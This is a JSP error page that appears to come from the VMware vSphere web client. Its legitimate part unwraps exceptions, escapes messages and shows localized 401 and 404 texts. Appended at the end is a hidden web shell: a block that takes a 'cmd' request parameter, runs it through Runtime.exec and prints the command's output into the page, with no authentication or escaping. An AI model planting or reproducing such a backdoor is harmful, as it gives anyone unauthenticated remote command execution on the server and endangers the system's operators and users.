%@ page contentType="text/html;charset=utf-8" isErrorPage="true" %> <%@ page import="java.util.*,java.io.*"%> <%@ page import="com.vmware.vise.util.ExceptionUtil, com.vmware.vsphere.client.security.sso.SsoAuthenticationHandler, org.apache.commons.lang.StringEscapeUtils, com.vmware.vsphere.client.error.I18nUtil, javax.servlet.RequestDispatcher, org.springframework.security.web.WebAttributes, org.apache.http.HttpStatus, org.apache.commons.lang.StringUtils" %> <% final Integer SC_UNAUTHORIZED = HttpStatus.SC_UNAUTHORIZED; final Integer SC_NOT_FOUND = HttpStatus.SC_NOT_FOUND; final String JASPER_EXCEPTION_CLASSNAME = "org.apache.jasper.JasperException"; String errorMessage; if ((exception == null) && (session != null)) { // This is where the SimpleUrlAuthenticationFailureHandler puts the // AuthenticationException. exception = (Throwable)session.getAttribute(WebAttributes.AUTHENTICATION_EXCEPTION); } if (exception != null && exception.getClass().getName().equals(JASPER_EXCEPTION_CLASSNAME)) { Throwable unwrapped = ExceptionUtil.removeOuterException(exception); errorMessage = StringEscapeUtils.escapeHtml(unwrapped.getMessage()); } else if (exception != null && exception.getMessage() != null) { Throwable unwrapped = ExceptionUtil.unwrap(exception); errorMessage = SsoAuthenticationHandler.stripSsoErrorPrefix(unwrapped.getMessage()); errorMessage = StringEscapeUtils.escapeHtml(errorMessage); } else { // If we get here, then there wasn't an exception; instead, the server // must have invoked something like: // response.sendError(errorCode, errorMessage); // So, now we'll print the error code and the error message. StringBuilder sb = new StringBuilder(256); Object statusCode = request.getAttribute(RequestDispatcher.ERROR_STATUS_CODE); Object message = request.getAttribute(RequestDispatcher.ERROR_MESSAGE); if (statusCode != null) { sb.append('[').append(statusCode).append("] "); } String msg; if (message != null && StringUtils.isNotBlank(message.toString())) { msg = message.toString(); } else if (SC_UNAUTHORIZED.equals(statusCode)) { msg = I18nUtil.text("ErrorPage.unauthorized"); } else if (SC_NOT_FOUND.equals(statusCode)) { msg = I18nUtil.text("ErrorPage.notFound"); } else { msg = I18nUtil.text("ErrorPage.noErrorMessage"); } sb.append(StringEscapeUtils.escapeHtml(msg)); errorMessage = sb.toString(); } %>
<% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "
"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>